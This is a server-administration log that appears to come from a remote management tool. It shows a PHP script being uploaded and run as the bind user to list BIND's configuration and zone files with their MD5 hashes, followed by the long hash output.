MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 15:07:53: Establishing a connection
2026-04-30 15:07:53: 

PUT: /tmp/pkp130264

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 15:07:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp130264; rm /tmp/pkp130264'

2026-04-30 15:07:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
